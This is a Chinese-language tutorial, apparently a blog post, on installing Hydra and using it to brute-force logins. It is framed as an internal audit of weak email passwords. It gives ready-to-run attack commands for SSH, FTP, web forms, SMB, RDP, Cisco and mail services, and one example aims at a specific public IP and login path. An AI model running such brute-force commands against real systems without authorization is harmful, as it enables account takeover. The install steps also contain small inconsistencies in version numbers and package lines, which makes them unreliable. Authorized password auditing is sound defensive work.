Hydra安装文档
公司邮箱系统密码复杂度规则:字母大小写、数字、特殊字符,四选三,长度8位以上。这种复杂度的密码看着是比较安全的,但因历史原因,邮箱系统开放了外网登陆权限,加之公司人数众多,必然会有少量员工把自己的密码设成看似非常复杂但又非常普遍的常规密码,这些密码很容易被爆破,从而导致公司敏感信息泄露。
当必须忍受系统外网登陆的时候,出于业界良心,安全就只能不厌其烦的、定期的使用密码爆破工具主动扫描,主动发现风险用户了。以前用过burpsuite进行Web密码的扫描,操作方便但在爆破密码方面还不够强大(毕竟非专业)。最早听说过Hydra,直到最近才开始真正使用,果真是神器,支持的密码类型众多,足够使用,安装方便、操作简单。详情如下:
一、安装
Hydra一款开源的密码破解工具,目前Windows版本网上也能下载到,但还是推荐使用Linux版本。当前已发布linux 8.3版本,详见:
https://www.thc.org/releases/hydra-8.3.tar.gz
云盘地址为:
Redhat环境安装过程非常简单:
1、先安装工具依赖包
yum -y install \
openssl-devel pcre-devel ncpfs-devel postgresql-devel \
libssh-devel subversion-deve libncurses-devel \

2、编译安装
把安装包上传至服务器:

cd hydra-7.4.1

./configure

make

make install

问题1 [ERROR] Compiled without LIBSSH v0.4.x support, module is not available!
原因:系统没有安装libssh库
解决方法:从 https://red.libssh.org/projects/libssh/files下载libssh-0.7.3.tar.xz,解压安装

tar xf libssh-0.7.3.tar.xz

cd libssh-0.7.3

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

make install

接着,重新编译安装hydra

问题 2 ld提示找不到库文件
hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
原因:链接器ld默认的目录是/lib和/usr/lib,如果放在其他路径也可以,需要让ld知道库文件在哪里
解决方法:

find / -name libssh.so.4

/usr/lib/libssh.so.4

vim /etc/ld.so.conf.d/usr-libs.conf //写入libssh.so.4 所在路径

/usr/lib

ldconfig

二、使用实例
破解get方法的web登录页面
hydra -l sanya -P 1.txt -f -vV -e ns 47.96.192.172 http-get /busms/login
Hydra安装文档
Hydra安装文档
获取请求的IP地址个端口
上图所示:IP地址
登录界面表单:
请求方法:GET
三、命令语法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
具体解释:
-R
继续从上一次进度接着破解
-S
大写,采用SSL链接
-s<PORT>
小写,可通过这个参数指定非默认端口
-l<LOGIN>
指定破解的用户,对特定用户破解
-L<FILE>
指定用户名字典
-p<PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P<FILE>
大写,指定密码字典
-e<ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C<FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M<FILE>
指定目标列表文件一行一条
-o<FILE>
指定结果输出文件
-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t<TASKS>
同时运行的线程数,默认为16
-w<TIME>
设置最大超时的时间,单位秒,默认是30s
-v /-V
显示详细过程
server
目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm]imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy ciscocisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhereteamspeak sip vmauthd firebird ncp afp等等
OPT 可选项
四、各协议的具体命令:
1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
支持破解的类型:
可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。